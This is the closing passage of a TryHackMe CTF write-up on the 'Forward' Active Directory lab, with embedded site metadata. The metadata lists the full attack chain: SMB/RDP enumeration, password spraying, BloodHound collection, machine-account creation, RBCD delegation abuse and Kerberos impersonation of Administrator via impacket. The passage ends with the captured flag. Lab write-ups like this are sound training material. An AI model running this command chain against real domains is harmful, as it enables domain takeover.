**Administrator** account, the service is created with **Domain Administrator privileges**, giving us complete control over the Domain Controller.\n\n## {red:Capturing the Flag}\n\nWith full Administrator access to the Domain Controller, the final step is simply retrieving the flag.\n\n```cmd\nC:\\Users\\Administrator\\Desktop> type flag.txt\n\n{flag:THM{ACtive_Pentestnotes_T1ck3t_like_me}}\n```\n\nAwesome! By abusing **Resource-Based Constrained Delegation (RBCD)**, we successfully impersonated the **Domain Administrator** without ever knowing the Administrator's password. This allowed us to obtain a valid Kerberos service ticket, authenticate directly to the Domain Controller, and gain full administrative control over the target, successfully completing the machine.\n\n## {red:Final Thoughts}\n\nForward was a solid Active Directory lab because it focused less on finding an initial foothold and more on understanding how to move through a domain after access had already been established.\n\nThe most important lesson from this room was that no single weakness caused the full compromise. The attack path only became possible because several smaller issues existed at the same time, including exposed credentials, password reuse, accessible remote services, and excessive permissions assigned to a domain user.\n\nThe room also showed why BloodHound is so valuable during Active Directory assessments. Manual enumeration alone did not reveal the complete path, but visualising user relationships and delegated permissions made the next step much clearer.\n\nThe final stage was especially useful for understanding how Resource-Based Constrained Delegation works in practice. Instead of stealing the Administrator password, we abused an Active Directory permission, created a machine account, configured delegation, and used Kerberos to impersonate a privileged user against the target service.\n\nOverall, Forward was a great lab for practising:\n\n- Authenticated domain enumeration\n- Credential discovery and validation\n- Password reuse testing\n- BloodHound analysis\n- Active Directory ACL abuse\n- Machine-account creation\n- Resource-Based Constrained Delegation\n- Kerberos ticket-based authentication\n\nThis room reinforced an important lesson: in Active Directory, seemingly minor permissions can become extremely dangerous when combined with weak credential management and poor delegation controls.\n\nSee you in the next writeup. Until then, keep enumerating and stay curious.\n\n**— Madhav**\n```","excerpt":"Forward is an Active Directory-focused TryHackMe room that starts with valid low-privileged credentials. The lab focuses on authenticated enumeration, credential discovery, password reuse, BloodHound analysis, lateral movement, and Kerberos delegation abuse within a Windows domain environment.","difficulty":"Medium","category_id":"28","author_id":"33","tags":["RDP","KeePass","Credential Discovery","Password Reuse","BloodHound","AddAllowedToAct","RBCD","MachineAccountQuota","AddComputer","msDS-AllowedToActOnBehalfOfOtherIdentity","S4U2Self","S4U2Proxy","getST","Kerberos Tickets","Pass-the-Ticket","PsExec"],"ctf_name":"TryHackMe","ctf_year":2026,"is_locked":0,"published_at":"2026-08-04T20:36:35.000Z","thumbnail_url":"/uploads/forward-thm/images/img530","writeup_type":"CTF","views":31,"moderation_status":"published","publish_requested":0,"approved_by":null,"is_hidden":0,"deleted_at":null,"created_at":"2026-08-04T20:36:35.296Z","updated_at":"2026-08-04T20:39:53.148Z","machine_os":"windows","machine_os_icon_url":"","read_time_minutes":180,"locked_description":"","release_date":"2026-05-26T00:00:00.000Z","machine_status":"Retired","attack_path":"","client_request_id":null,"category_name":"THM","category_slug":"thm","category_color":"#5a7395","category_icon":"🖼️","category_icon_type":"image","category_icon_image_url":"/uploads/thm/images/img534","author_username":"Madhav","commands_used":["nmap -sV -A 10.48.138.32 -oN nmap.txt --min-rate=2000","echo 10.48.138.32 ctf.local | sudo tee -a /etc/hosts","nxc smb ctf.local -u j.smith -p JSmith@IT2024","nxc smb ctf.local -u j.smith -p JSmith@IT2024 --shares","smbclient //10.48.138.32/Downloads -U 'j.smith%JSmith@IT2024'","nxc smb ctf.local -u j.smith -p JSmith@IT2024 --users","nxc rdp ctf.local -u j.smith -p JSmith@IT2024","xfreerdp3 /v:10.48.138.32 /u:'CTF\\j.smith' /p:'JSmith@IT2024' /cert:ignore /clipboard /dynamic-resolution","xfreerdp3 /v:10.48.138.32 /u:'CTF\\j.smith' /p:'JSmith@IT2024' /cert:ignore /clipboard /dynamic-resolution /drive:forward,/home/madhav/HacktheBox/tryhackme/forward","keepass Database.kdbx","nxc rdp ctf.local -u t.jones -p '{REDACTED}'","xfreerdp3 /v:10.48.138.32 /u:'CTF\\t.jones' /p:'{REDACTED}' /cert:ignore /clipboard /dynamic-resolution","nxc ldap ctf.local -u t.jones -p '{REDACTED}' --bloodhound -c All --dns-server 10.48.138.32","nxc ldap ctf.local -u t.jones -p '{REDACTED}' --users","cat users.txt","nxc ldap ctf.local -u users.txt -p '{REDACTED}'","impacket-addcomputer -computer-name 'Pentestnotes -computer-pass 'hacker@!' -dc-ip ctf.local 'ctf.local/r.williams:{REDACTED}'","impacket-rbcd -dc-ip ctf.local -delegate-from 'Pentestnotes -delegate-to 'DC01 -action 'write' 'ctf.local/r.williams:{REDACTED}'","impacket-getST -spn 'cifs/DC01.ctf.local' -impersonate 'Administrator' 'ctf.local/Pentestnotes$:hacker@!'","export KRB5CCNAME=Administrator@[email protected]","klist","impacket-psexec -k -no-pass ctf.local/[email protected]","type flag.txt"]}}